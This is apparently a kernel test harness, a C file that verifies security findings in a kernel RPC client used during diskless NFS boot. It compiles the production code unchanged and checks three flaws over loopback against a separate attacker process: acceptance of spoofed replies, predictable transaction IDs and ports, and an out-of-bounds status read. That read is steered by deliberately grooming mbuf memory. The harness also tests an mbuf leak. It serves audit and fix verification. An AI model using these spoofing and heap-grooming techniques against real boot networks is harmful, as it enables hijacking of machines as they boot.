DF-3205 / dfrig13_krpc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 | /* * dfrig13_krpc.c -- DF-3205 / DF-3203 / DF-3204 verification harness. * * VERBATIM INTERPOSITION RIG (kernel-compiled; see build.sh): * This file #includes the UNMODIFIED production source * /usr/src/sys/vfs/nfs/krpc_subr.c (sha256-gated by build.sh against * the audited tree) after renaming -- and only renaming, via cpp -- * its three external symbols: * krpc_portmap krpc_call xdr_string_encode * Every line the findings cite is the production code, byte for byte: * the static_xid = ~0xFF counter (:201,:282), the deterministic * reserved-port sweep (:256-262), the unconnected socket + discarded * reply source (:348-351,:432-435), the residual-length dead gate * (:356-373), the pre-pullup rp_status field read (:391) and the * PROGMISMATCH mbuf leak (:393-395,:437-441). * * NO socket seams are interposed: the rig drives the REAL kernel UDP * stack over lo0 with REAL mbufs. The attacker is a REAL userland * process (attacker.c) answering the requests from 127.0.0.2 or with * predicted XIDs -- the same packets a malicious boot-network host * would send during a diskless (root-on-NFS) boot, which is the only * context where the production code runs (nfs_mountroot -> md_mount). * * sysctl interface: * sysctl -w kern.dfrig13_arg=<arg> * sysctl -w kern.dfrig13=<test> * 1 = DF-3205: wrong-origin (127.0.0.2) spoof ACCEPTANCE via real * krpc_call; payload discriminator ATTACKER- vs SERVER-PAYLOAD * 4 = DF-3205: krpc_portmap end-to-end spoof -> attacker-chosen port * 5 = DF-3205: xid/port determinism dump (arg = #calls; read the * attacker server stdout for the observed sequence) * 2 = DF-3203: short 16-byte reply -> OOB rp_status read; canary * byte = arg (uniform fill; expected stale value 0xbbbbbbbb) * 22 = DF-3203: same, second canary byte = arg * 23 = DF-3203->DF-3204 coupling: groom32(0x00000002) -> stale read * == RPC_PROGMISMATCH -> EBADRPC leak exit without the attacker * ever sending a 24-byte PROGMISMATCH reply * 3 = DF-3204: PROGMISMATCH leak loop (arg = iterations; netstat -m * deltas bracketed by run.sh) * 33 = control: same loop with honest successful replies * sysctl -n kern.dfrig13_status markers of the last test */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/systm.h> #include <sys/malloc.h> #include <sys/mbuf.h> #include <sys/sysctl.h> #include <sys/socket.h> #include <sys/socketvar.h> #include <sys/uio.h> #include <sys/proc.h> #include <sys/fcntl.h> #include <netinet/in.h> /* ---- interposition: call-site symbol renames ONLY -------------------- */ #define krpc_portmap dfx_krpc_portmap #define krpc_call dfx_krpc_call #define xdr_string_encode dfx_xdr_string_encode #include "krpc_subr.c" /* <-- VERBATIM PRODUCTION SOURCE */ /* ---------------- rig state ------------------------------------------- */ #define SRV_IP 0x7f000001u /* 127.0.0.1 */ #define EVIL_IP 0x7f000002u /* 127.0.0.2 */ #define SRV_PORT 7771 static int df_testno; static int df_arg = 3; static char df_status[2048]; static void df_mark(const char *fmt, ...) { __va_list ap; kprintf("dfrig13: "); __va_start(ap, fmt); kvprintf(fmt, ap); __va_end(ap); kprintf("\n"); strlcat(df_status, " | ", sizeof(df_status)); __va_start(ap, fmt); kvsnprintf(df_status + strlen(df_status), sizeof(df_status) - strlen(df_status), fmt, ap); __va_end(ap); } static struct sockaddr_in df_sin(u_int32_t ip, u_int16_t port) { struct sockaddr_in sin; bzero(&sin, sizeof(sin)); sin.sin_len = sizeof(sin); sin.sin_family = AF_INET; sin.sin_addr.s_addr = htonl(ip); sin.sin_port = htons(port); return sin; } /* printable remainder of the reply the caller got back */ static void df_payload(struct mbuf *m, char *out, size_t outsz) { size_t i = 0; out[0] = '\0'; while (m != NULL && i + 1 < outsz) { u_char *p = mtod(m, u_char *); int j; for (j = 0; j < m->m_len && i + 1 < outsz; j++) { u_char c = p[j]; out[i++] = (c >= 32 && c < 127) ? c : '.'; } m = m->m_next; } out[i] = '\0'; } /* ---------------- canary groom ---------------------------------------- */ /* Fill the data areas of freshly allocated mbufs (plain + pkthdr, the * two kinds the loopback TX/RX path allocates for small datagrams) with * a uniform byte, then free them all. The next small UDP receive that * recycles one of these slots carries the canary in every byte past its * m_len -- which is exactly where krpc_call's pre-pullup rp_status read * at krpc_subr.c:391 lands for a 16-byte reply. */ static void df_groom8(u_char byte, int nmb) { struct mbuf *ms[1024]; int i, lim = nmb > 1024 ? 1024 : nmb; for (i = 0; i < lim; i++) { ms[i] = m_get(M_WAITOK, MT_DATA); ms[i]->m_len = 0; memset(mtod(ms[i], caddr_t), byte, M_TRAILINGSPACE(ms[i])); } for (i = 0; i < lim; i++) m_free(ms[i]); for (i = 0; i < lim; i++) { ms[i] = m_gethdr(M_WAITOK, MT_DATA); ms[i]->m_len = 0; memset(mtod(ms[i], caddr_t), byte, M_TRAILINGSPACE(ms[i])); } for (i = 0; i < lim; i++) m_free(ms[i]); } /* 32-bit pattern variant (m_dat is >=4-aligned; m_data after the 28-byte * IP/UDP strip is 4-aligned too, so the OOB window reads one full word) */ static void df_groom32(u_int32_t val, int nmb) { struct mbuf *ms[1024]; int i, w, lim = nmb > 1024 ? 1024 : nmb; for (i = 0; i < lim; i++) { u_int32_t *p; ms[i] = m_get(M_WAITOK, MT_DATA); ms[i]->m_len = 0; p = mtod(ms[i], u_int32_t *); for (w = 0; w < (int)(M_TRAILINGSPACE(ms[i]) / 4); w++) p[w] = val; } for (i = 0; i < lim; i++) m_free(ms[i]); for (i = 0; i < lim; i++) { u_int32_t *p; ms[i] = m_gethdr(M_WAITOK, MT_DATA); ms[i]->m_len = 0; p = mtod(ms[i], u_int32_t *); for (w = 0; w < (int)(M_TRAILINGSPACE(ms[i]) / 4); w++) p[w] = val; } for (i = 0; i < lim; i++) m_free(ms[i]); } /* ---------------- one krpc_call against the real UDP stack ------------ */ static int df_one_call(struct sockaddr_in *sin, char *pl, size_t plsz) { struct mbuf *m = NULL; int error; error = dfx_krpc_call(sin, 100003u, 3u, 1u, &m, NULL, curthread); if (m != NULL) { df_payload(m, pl, plsz); m_freem(m); } else { strlcpy(pl, "(none)", plsz); } return error; } /* ---------------- DF-3205 T1: wrong-origin acceptance ------------------ */ static void df_test1(void) { struct sockaddr_in sin = df_sin(SRV_IP, SRV_PORT); char pl[64]; int error; error = df_one_call(&sin, pl, sizeof(pl)); df_mark("DF3205 T1: krpc_call err=%d payload='%s' " "(ATTACKER-PAYLOAD => reply from 127.0.0.2 ACCEPTED; " "SERVER-PAYLOAD => fix rejected the wrong-origin spoof)", error, pl); } /* ---------------- DF-3205 T4: portmap end-to-end ---------------------- */ static void df_test4(void) { struct sockaddr_in sin = df_sin(SRV_IP, 0); /* port set to 111 */ u_int16_t port = 0; u_char *p; int error; error = dfx_krpc_portmap(&sin, 100003u, 3u, &port, curthread); p = (u_char *)&port; df_mark("DF3205 T4: krpc_portmap err=%d port bytes %02x %02x " "(baseline: ca fe = attacker-chosen; fixed: 77 77 = " "follow-up legit answer)", error, p[0], p[1]); } /* ---------------- DF-3205 T5: determinism dump ------------------------ */ static void df_test5(int k) { struct sockaddr_in sin = df_sin(SRV_IP, SRV_PORT); char pl[64]; int i, error, ok = 0; for (i = 0; i < k; i++) { error = df_one_call(&sin, pl, sizeof(pl)); if (error == 0) ok++; } df_mark("DF3205 T5: %d/%d sequential krpc_call ok; xid sequence " "+ client reserved ports are on the attacker server stdout " "(baseline expect 0xffffff00+n ascending, fixed expect " "random)", ok, k); } /* ---------------- DF-3203: short-reply OOB read ----------------------- */ static void df_test2_core(int testno, u_char canary, int groom32val) { struct sockaddr_in sin = df_sin(SRV_IP, SRV_PORT); char pl[64]; int a, error; int32_t expect; if (groom32val >= 0) expect = (int32_t)groom32val; else expect = (int32_t)((u_int32_t)canary * 0x01010101u); for (a = 0; a < 3; a++) { if (groom32val >= 0) df_groom32((u_int32_t)groom32val, 512); else df_groom8(canary, 512); error = df_one_call(&sin, pl, sizeof(pl)); if (error == 0) df_mark("DF3203 T%d attempt %d: groom done, call " "err=0 payload='%s' -> stale rp_status was " "!= 0 and != RPC_PROGMISMATCH: verbatim " "console line is: rpc denied, status=%d " "(check dmesg)", testno, a + 1, pl, expect); else if (error == ENOBUFS) df_mark("DF3203 T%d attempt %d: err=ENOBUFS -> " "stale rp_status read as 0 -> gotreply -> " "m_pullup(24) on the 16-byte reply failed " "(krpc_subr.c:417)", testno, a + 1); else if (error == EBADRPC) df_mark("DF3203 T%d attempt %d: err=EBADRPC -> stale " "rp_status read as RPC_PROGMISMATCH(2) -> " "leak exit (DF-3204 path taken on a stale " "value the attacker never sent)", testno, a + 1); else df_mark("DF3203 T%d attempt %d: err=%d payload='%s'", testno, a + 1, error, pl); } } /* ---------------- DF-3204 T3: PROGMISMATCH leak loop ------------------ */ static void df_test3(int n, int honest) { struct sockaddr_in sin = df_sin(SRV_IP, SRV_PORT); char pl[64]; int i, error, bad = 0, ok = 0; for (i = 0; i < n; i++) { error = df_one_call(&sin, pl, sizeof(pl)); if (honest) { if (error == 0) ok++; } else if (error == EBADRPC) { bad++; } } if (honest) df_mark("DF3204 T33 control: %d/%d honest replies ok -- " "netstat -m delta around this test is the no-leak " "baseline", ok, n); else df_mark("DF3204 T3: %d/%d calls returned EBADRPC with an " "in-bounds 24-byte PROGMISMATCH reply -- each one " "leaked the reply mbuf (netstat -m delta = +N " "mbufs that stay)", bad, n); } /* ---------------- sysctl dispatch -------------------------------------- */ static int sysctl_df_test(SYSCTL_HANDLER_ARGS) { int t, error; t = df_testno; error = sysctl_handle_int(oidp, &t, 0, req); if (error != 0 || req->newptr == NULL) return error; df_testno = t; df_status[0] = '\0'; kprintf("dfrig13: === test %d (arg %d) begin ===\n", t, df_arg); switch (t) { case 1: df_test1(); break; case 2: df_test2_core(2, (u_char)df_arg, -1); break; case 22: df_test2_core(22, (u_char)df_arg, -1); break; case 23: df_test2_core(23, 0, 2); /* groom 0x00000002 */ break; case 3: df_test3(df_arg, 0); break; case 33: df_test3(df_arg, 1); break; case 4: df_test4(); break; case 5: df_test5(df_arg); break; default: strlcpy(df_status, "unknown test", sizeof(df_status)); break; } kprintf("dfrig13: === test %d end ===\n", t); return 0; } SYSCTL_PROC(_kern, OID_AUTO, dfrig13, CTLTYPE_INT | CTLFLAG_RW, &df_testno, 0, sysctl_df_test, "I", "DF rig 13 (krpc) test selector"); SYSCTL_INT(_kern, OID_AUTO, dfrig13_arg, CTLFLAG_RW, &df_arg, 0, "DF rig 13 per-test argument"); SYSCTL_STRING(_kern, OID_AUTO, dfrig13_status, CTLFLAG_RD, df_status, 0, "DF rig 13 last-test status markers"); |